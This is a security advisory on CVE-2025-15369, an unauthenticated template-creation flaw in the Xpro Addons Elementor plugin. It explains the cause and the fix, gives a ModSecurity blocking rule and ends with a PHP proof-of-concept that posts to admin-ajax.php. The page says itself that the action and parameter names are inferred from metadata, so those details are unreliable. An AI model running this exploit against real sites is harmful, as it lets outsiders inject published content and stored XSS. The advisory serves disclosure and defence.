Atomic Edge analysis of CVE-2025-15369 (metadata-based):
This vulnerability allows unauthenticated attackers to create published Xpro templates in the Xpro Addons plugin for Elementor. The plugin, which provides over 140 widgets for Elementor, suffers from a missing authorization check in its get_content_editor function. The CVSS score 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) confirms low impact with no confidentiality or availability compromise, but the ability to create published content without authentication is a significant security concern.
Root Cause: The CWE-862 Missing Authorization classification indicates the get_content_editor function lacks a capability check (e.g., current_user_can() or a nonce verification) before executing. Based on the description, this is inferred rather than code-confirmed. The function likely handles AJAX requests for creating or saving Xpro templates. Without checking if the user has proper WordPress permissions (like ‘edit_posts’ or ‘manage_options’), the plugin exposes a server-side action to unauthenticated users. The patched version 1.5.1 likely adds a capability check to this function.
Exploitation: An attacker can send a POST request to /wp-admin/admin-ajax.php with the action parameter set to the plugin’s AJAX hook (likely xpro_template_save or similar, inferred from the function name get_content_editor). The request likely includes parameters for the template content (e.g., ‘content’, ‘title’, or ‘post_data’). Since there is no authentication check, the server will process the request and create a published Xpro template. The attacker does not need any WordPress account or session.
Remediation: The fix should add a capability check before executing the template creation logic. In WordPress, this typically means using current_user_can(‘edit_posts’) or similar, along with a nonce verification (check_ajax_referer()). The plugin should also verify that the user has permission to create published content. Atomic Edge recommends that all similar AJAX handlers in the plugin are audited for missing authorization.
Impact: Successful exploitation allows an attacker to create arbitrary published Xpro templates on the WordPress site. While this does not directly lead to data theft or remote code execution, it can be used to inject malicious HTML or JavaScript into template content, leading to stored XSS attacks against site visitors or administrators. The attacker could also deface the site by creating unwanted templates that are displayed publicly. This is a low-to-medium severity issue that could be chained with other vulnerabilities for greater impact.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2025-15369 (metadata-based)
# Block unauthenticated Xpro template creation via AJAX
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2025-15369 - Xpro Addons missing authorization via AJAX',severity:'CRITICAL',tag:'CVE-2025-15369'"
SecRule ARGS_POST:action "@streq xpro_template_save"
"chain"
SecRule ARGS_POST:template_title "@rx ."
"t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-15369 - Xpro Addons — 140+ Widgets for Elementor <= 1.5.0 - Missing Authorization to Unauthenticated Xpro Template Creation
// Target WordPress site URL (change this to the vulnerable site)
$target_url = 'http://example.com';
// AJAX endpoint for WordPress
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
// The action hook name is inferred: likely 'xpro_template_save' based on the plugin's common naming pattern
$action = 'xpro_template_save';
// Prepare the POST data for template creation
// The exact parameter names are inferred; common patterns include 'template_content', 'template_title', 'template_data'
$post_data = array(
'action' => $action,
'template_title' => 'Malicious Template - Created by Atomic Edge PoC',
'template_content' => '<h2>This template was created without authentication!</h2>',
'template_status' => 'publish', // Attempt to publish immediately
'nonce' => '' // Note: Vulnerability means nonce is not required, but plugin may still check empty nonce
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output result
echo "[+] Target: " . $ajax_url . "n";
echo "[+] Action: " . $action . "n";
echo "[+] HTTP Response Code: " . $http_code . "n";
if ($http_code == 200) {
echo "[+] Request succeeded. Check if a new Xpro template was created.n";
echo "[+] Raw response:n";
echo $response . "n";
} else {
echo "[-] Request failed. The site may be patched or the action endpoint is different.n";
echo "[-] Adjust the 'action' parameter based on actual plugin code.n";
}
?>
